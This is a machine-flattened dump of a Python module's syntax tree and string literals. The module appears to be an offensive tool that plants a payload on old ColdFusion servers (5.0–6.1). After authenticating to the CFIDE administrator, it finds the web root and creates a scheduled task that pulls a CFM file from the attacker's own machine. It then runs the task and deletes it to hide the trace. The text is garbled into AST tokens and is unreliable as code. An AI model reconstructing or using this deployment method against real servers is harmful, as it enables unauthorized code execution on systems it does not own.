Module ImportFrom alias ImportFrom alias ImportFrom alias alias alias alias ImportFrom alias ImportFrom alias ImportFrom alias ImportFrom alias ImportFrom alias Import alias Import alias Assign NameStore AttributeLoad NameLoad attr Assign NameStore ListLoad Str Str Str FunctionDef arguments args NameParam NameParam defaults body Expr Str Assign NameStore Call NameLoad AttributeLoad AttributeLoad NameLoad attr attr Assign NameStore Call NameLoad NameLoad NameLoad Assign NameStore AttributeLoad AttributeLoad NameLoad attr attr Assign NameStore SubscriptLoad Call NameLoad NameLoad AttributeLoad NameLoad attr NameLoad AttributeLoad NameLoad attr Index Num If UnaryOpNot NameLoad body Expr Call AttributeLoad NameLoad attr Str AttributeLoad NameLoad attr Return Expr Call AttributeLoad NameLoad attr Call AttributeLoad Str attr NameLoad Expr Call AttributeLoad NameLoad attr Str AttributeLoad NameLoad attr Assign NameStore Call NameLoad NameLoad NameLoad NameLoad If UnaryOpNot NameLoad body Expr Call AttributeLoad NameLoad attr Str AttributeLoad NameLoad attr Return Expr Call AttributeLoad NameLoad attr BinOpMod Str NameLoad AttributeLoad NameLoad attr Expr Call AttributeLoad NameLoad attr Str If UnaryOpNot Call NameLoad NameLoad NameLoad NameLoad NameLoad NameLoad body Return Expr Call AttributeLoad NameLoad attr BinOpMod Str NameLoad Expr Call NameLoad NameLoad NameLoad NameLoad NameLoad Expr Call AttributeLoad NameLoad attr Str If UnaryOpNot Call NameLoad NameLoad NameLoad NameLoad NameLoad body Expr Call AttributeLoad NameLoad attr Str AttributeLoad NameLoad attr decorator_list FunctionDef arguments args NameParam NameParam NameParam NameParam NameParam defaults body Expr Str Assign NameStore Call AttributeLoad Str attr NameLoad AttributeLoad NameLoad attr Assign NameStore Str If CompareIn AttributeLoad NameLoad attr ListLoad Str body Assign NameStore Dict Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str NameLoad Str Str Str Str Str Str Str Str Str Str AttributeLoad NameLoad attr Call AttributeLoad Str attr Call AttributeLoad NameLoad attr NameLoad Str Str Str Str Str Str NameLoad Call AttributeLoad NameLoad attr Str Str Str orelse Assign NameStore Dict Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str Str NameLoad Str Str Str Str Str Str Str Str Str Str Str Str Call AttributeLoad Str attr Call AttributeLoad NameLoad attr AttributeLoad NameLoad attr NameLoad Str Str Str Str Str Str BinOpAdd BinOpAdd NameLoad Str NameLoad Str Str Assign NameStore Call AttributeLoad NameLoad attr BinOpAdd NameLoad NameLoad keyword NameLoad keyword NameLoad If CompareIs AttributeLoad NameLoad attr Num body Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam NameParam NameParam defaults body Expr Str Assign NameStore NameLoad Assign NameStore Call NameLoad NameLoad NameLoad Assign NameStore Call NameLoad keyword NameLoad keyword TupleLoad NameLoad Expr Call AttributeLoad NameLoad attr Expr Call NameLoad Num Assign NameStore Call AttributeLoad Str attr NameLoad AttributeLoad NameLoad attr If CompareIn AttributeLoad NameLoad attr ListLoad Str body Assign NameStore BinOpMod Str NameLoad orelse Assign NameStore BinOpMod Str NameLoad Assign NameStore Call AttributeLoad NameLoad attr BinOpAdd NameLoad NameLoad keyword NameLoad If Call NameLoad NameLoad body If CompareIn AttributeLoad NameLoad attr ListLoad Str body Assign NameStore Call AttributeLoad Str attr Call AttributeLoad NameLoad attr Str Str orelse Assign NameStore Call AttributeLoad Str attr NameLoad Expr Call AttributeLoad NameLoad attr NameLoad AttributeLoad NameLoad attr Assign NameStore NameLoad Expr Call NameLoad Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam NameParam NameParam defaults body Expr Str Assign NameStore Call AttributeLoad Str attr NameLoad AttributeLoad NameLoad attr Assign NameStore Str Assign NameStore Dict Str Str Str NameLoad Assign NameStore Call AttributeLoad NameLoad attr BinOpAdd NameLoad NameLoad keyword NameLoad keyword NameLoad If CompareIs AttributeLoad NameLoad attr Num body Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam NameParam defaults body Expr Str Assign NameStore Call AttributeLoad Str attr NameLoad AttributeLoad NameLoad attr If CompareIn AttributeLoad NameLoad attr ListLoad Str body Assign NameStore Str orelse Assign NameStore Str Assign NameStore Call AttributeLoad NameLoad attr BinOpAdd NameLoad NameLoad keyword NameLoad If CompareIs AttributeLoad NameLoad attr Num body If CompareIn AttributeLoad NameLoad attr ListLoad Str body Assign NameStore Call NameLoad Str AttributeLoad NameLoad attr If BoolOpAnd NameLoad CompareGt Call NameLoad NameLoad Num body Assign NameStore SubscriptLoad NameLoad Index Num orelse Assign NameStore Call NameLoad Str AttributeLoad NameLoad attr If BoolOpAnd NameLoad CompareGt Call NameLoad NameLoad Num body Assign NameStore SubscriptLoad NameLoad Index Num If NameLoad body Return NameLoad decorator_list
N/A src.platform.coldfusion.interfaces CINTERFACES src.platform.coldfusion.authenticate checkAuth src.module.deploy_utils _serve waitServe parse_war_path killServe threading Thread os.path abspath re findall time sleep log LOG N/A utility N/A state N/A title N/A CINTERFACES CFM N/A versions N/A 5.0 6.0 6.1 deploy N/A N/A fingerengine fingerprint N/A N/A N/A  Scheduled Task deployer for older versions; radically different
	than newer systems, so it warrants its own deployer.
	 N/A cfm_path N/A abspath N/A N/A fingerengine options deploy N/A cfm_file N/A parse_war_path cfm_path True N/A dip N/A N/A fingerengine options ip N/A cookie N/A N/A checkAuth dip N/A fingerprint port title N/A fingerprint version N/A 0 N/A N/A cookie N/A N/A N/A N/A utility Msg Could not get auth N/A LOG ERROR N/A N/A N/A N/A utility Msg N/A N/A Preparing to deploy {0}... format cfm_file N/A N/A N/A utility Msg Fetching web root... N/A LOG DEBUG N/A root N/A fetch_webroot dip fingerprint cookie N/A N/A root N/A N/A N/A N/A utility Msg Unable to fetch web root. N/A LOG ERROR N/A N/A N/A N/A utility Msg N/A Web root found at %s root N/A LOG DEBUG N/A N/A N/A utility Msg Creating scheduled task... N/A N/A N/A create_task dip fingerprint cfm_file root cookie N/A N/A N/A N/A N/A utility Msg N/A Task %s created, invoking... cfm_file N/A N/A run_task dip fingerprint cfm_path cookie N/A N/A N/A utility Msg Cleaning up... N/A N/A N/A delete_task dip fingerprint cfm_file cookie N/A N/A N/A N/A utility Msg Failed to remove task.  May require manual removal. N/A LOG ERROR N/A create_task N/A N/A ip fingerprint cfm_file root cookie N/A N/A N/A  Generate a new task; all parameters are necessary, unfortunately
	 N/A base N/A N/A http://{0}:{1} format ip N/A fingerprint port N/A uri /CFIDE/administrator/scheduler/scheduleedit.cfm N/A N/A N/A fingerprint version N/A 5.0 N/A N/A data N/A taskNameOrig TaskName StartDate EndDate ScheduleType StartTimeOnce Interval StartTimeDWM customInterval CustomStartTime CustomEndTime Operation Port ScheduledURL Username Password RequestTimeout ProxyServer HttpProxyPort Publish filePath File adminsubmit cfm_file 01/01/2020 Once 13:24:05 Daily 0 HTTPRequest N/A state external_port N/A N/A http://{0}/{1} format N/A N/A utility local_address cfm_file 10 23 1 root N/A N/A cfm_file replace cfml cfm Submit+Changes N/A N/A data N/A TaskName Start_Date End_Date ScheduleType StartTimeOnce Interval StartTimeDWM customInterval_hour customInterval_min customInterval_sec CustomStartTime CustomEndTime Operation ScheduledURL Username Password Request_Time_out proxy_server http_proxy_port publish publish_file adminsubmit taskNameOrig cfm_file Jan 2, 2020 Once 13:24:50 Daily 0 0 0 HTTPRequest N/A N/A http://{0}:{1}/{2} format N/A N/A utility local_address N/A state external_port cfm_file 1 N/A N/A root \ cfm_file Submit N/A response N/A N/A utility requests_post N/A base uri data data cookies cookie N/A N/A N/A response status_code 200 N/A N/A True N/A run_task N/A N/A ip fingerprint cfm_path cookie N/A N/A N/A  Invoke the task and wait for the server to fetch it
	 N/A success False N/A cfm_file N/A parse_war_path cfm_path True N/A server_thread N/A Thread target _serve args N/A cfm_path N/A N/A N/A server_thread start N/A N/A sleep 2 N/A base N/A N/A http://{0}:{1} format ip N/A fingerprint port N/A N/A N/A fingerprint version N/A 5.0 N/A N/A uri N/A /CFIDE/administrator/scheduler/runtask.cfm?task=%s cfm_file N/A N/A uri N/A /CFIDE/administrator/scheduler/scheduletasks.cfm?runtask=%s cfm_file N/A response N/A N/A utility requests_get N/A base uri cookies cookie N/A N/A waitServe server_thread N/A N/A N/A N/A fingerprint version N/A 5.0 N/A N/A out_diag N/A N/A {0} deployed to /{0} format N/A N/A cfm_file replace cfml cfm N/A N/A out_diag N/A N/A {0} deployed to /CFIDE/{0} format cfm_file N/A N/A N/A utility Msg out_diag N/A LOG SUCCESS N/A success True N/A N/A killServe N/A success N/A delete_task N/A N/A ip fingerprint cfm_file cookie N/A N/A N/A N/A base N/A N/A http://{0}:{1} format ip N/A fingerprint port N/A uri /CFIDE/administrator/scheduler/deletetask.cfm N/A data N/A deletesubmit task Yes cfm_file N/A response N/A N/A utility requests_post N/A base uri data data cookies cookie N/A N/A N/A response status_code 200 N/A N/A True N/A fetch_webroot N/A N/A ip fingerprint cookie N/A N/A N/A  Fetch the webroot for the CF server; this is where our
	payload is stashed
	 N/A base N/A N/A http://{0}:{1} format ip N/A fingerprint port N/A N/A N/A fingerprint version N/A 5.0 N/A N/A uri /CFIDE/administrator/server_settings/mappings.cfm?mapname=/ N/A N/A uri /CFIDE/administrator/settings/mappings.cfm?mapname=/CFIDE N/A response N/A N/A utility requests_get N/A base uri cookies cookie N/A N/A N/A response status_code 200 N/A N/A N/A N/A fingerprint version N/A 5.0 N/A N/A data N/A findall name="DirectoryPath" value="(.*?)" N/A response content N/A N/A data N/A N/A len data 0 N/A N/A data N/A data N/A 0 N/A N/A data N/A findall <td nowrap><font class="label">&nbsp; (.*?) &nbsp; N/A response content N/A N/A data N/A N/A len data 0 N/A N/A data N/A data N/A 1 N/A data N/A N/A data N/A